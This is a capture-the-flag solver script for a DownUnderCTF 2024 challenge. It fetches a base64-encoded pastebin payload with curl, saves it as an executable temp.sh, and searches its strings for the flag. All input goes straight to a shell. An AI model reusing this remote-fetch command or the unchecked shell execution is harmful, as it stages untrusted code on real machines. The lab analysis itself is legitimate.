run this code for get flag or search on execution of any sh command or file

import re
import subprocess
import os
import blog


def solve(file_path, search="DUCTF"):
    
    command=""   
    if not os.path.isfile(file_path):
        command=file_path
    else: 
     # Read the command from the file
     with open(file_path, 'r') as file:
        command = file.read().strip()
 
    # Append commands to save output to temp.sh and run strings on it
    full_command = f"{command} > temp.sh && chmod +x temp.sh && strings temp.sh"
    
    
    
    # Execute the full command and capture the output
    result = subprocess.run(full_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)

    # Combine stdout and stderr to cover all output
    combined_output = result.stdout + result.stderr

    
    results=[]
    # Search for the search string in the command output
    for line in     combined_output.splitlines() : 
     if search in line:
        results.append(line)
    if len(results)==0:
        return f"Flag containing '{search}' not found in the command output."
    else:
        for x in  results:
             print(x)

if __name__ == "__main__" :
 # Example usage search on any command or execute of sh file
 command = blog.set("curl -sL https://pastebin.com/raw/ysYcKmbu | base64 -d",1)
 search = blog.set("DUCTF",2)

 print(solve(command,search))

Original writeup (https://cybersecctf.github.io/blog/?q=tldrpleasesummarise%20downunderctf2024).